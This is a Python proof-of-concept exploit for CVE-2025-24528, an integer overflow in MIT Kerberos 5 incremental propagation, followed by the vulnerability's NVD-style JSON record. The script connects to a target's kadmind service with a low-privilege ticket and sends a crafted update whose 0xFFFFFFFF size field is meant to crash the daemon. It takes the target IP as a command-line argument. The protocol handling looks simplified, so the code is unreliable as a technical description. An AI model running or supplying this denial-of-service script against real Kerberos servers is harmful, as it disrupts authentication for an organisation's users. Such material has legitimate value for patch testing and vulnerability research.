CVE-2025-24528

# CVE-2025-24528 PoC - MIT Kerberos 5 Integer Overflow in kdb_log.c # This PoC demonstrates triggering the integer overflow via malicious KDB update request # Note: Requires valid Kerberos credentials with low privileges import struct import socket import sys from krb5 import KerberosTicket def create_malicious_kdb_update(overflow_size): """ Construct a malicious KDB update request with oversized update field to trigger integer overflow in resize() function """ # KRB5 protocol header pvno = 5 msg_type = 14 # KRB5_MSG_PRIV # Craft malicious update payload # The key is the update_size field which triggers integer overflow update_size = overflow_size # e.g., 0xFFFFFFFF or similar large value # KDB update message structure update_packet = struct.pack('>I', 1) # Incremental propagation flag update_packet += struct.pack('>I', update_size) # Malicious size value update_packet += b'\x00' * 16 # Padding return update_packet def send_kadmind_request(target, port, ticket, payload): """ Send malicious request to kadmind service """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target, port)) # Send authentication context auth_data = ticket.get_authenticator() sock.send(auth_data) # Send malicious KDB update payload sock.send(payload) response = sock.recv(4096) sock.close() return response except Exception as e: print(f"[-] Error: {e}") return None def trigger_dos(target, kdc_port=749): """ Trigger denial of service by causing kadmind crash """ print(f"[*] Target: {target}") print(f"[*] Attempting to trigger integer overflow...") # Acquire valid ticket (requires low-privilege account) ticket = KerberosTicket(f"user@REALM", target) # Create malicious payload with oversized update # 0xFFFFFFFF triggers integer overflow in resize calculation payload = create_malicious_kdb_update(0xFFFFFFFF) print("[*] Sending malicious KDB update request...") response = send_kadmind_request(target, kdc_port, ticket, payload) if response: print("[*] Response received - kadmind may be vulnerable") else: print("[+] DOS triggered - service crashed or unavailable") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-24528-poc.py <target_ip>") sys.exit(1) trigger_dos(sys.argv[1])

{"cve": {"id": "CVE-2025-24528", "sourceIdentifier": "[email protected]", "published": "2026-01-16T18:16:06.633", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "In MIT Kerberos 5 (aka krb5) before 1.22 (with incremental propagation), there is an integer overflow for a large update size to resize() in kdb_log.c. An authenticated attacker can cause an out-of-bounds write and kadmind daemon crash."}, {"lang": "es", "value": "En MIT Kerberos 5 (también conocido como krb5) antes de 1.22 (con propagación incremental), hay un desbordamiento de entero para un tamaño de actualización grande en resize() en kdb_log.c. Un atacante autenticado puede causar una escritura fuera de límites y un fallo del demonio kadmind."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "references": [{"url": "https://github.com/krb5/krb5/commit/78ceba024b64d49612375be4a12d1c066b0bfbd0", "source": "[email protected]"}, {"url": "https://github.com/krb5/krb5/compare/krb5-1.21.3-final...krb5-1.22-final", "source": "[email protected]"}, {"url": "https://lists.debian.org/debian-lts-announce/2025/02/msg00029.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}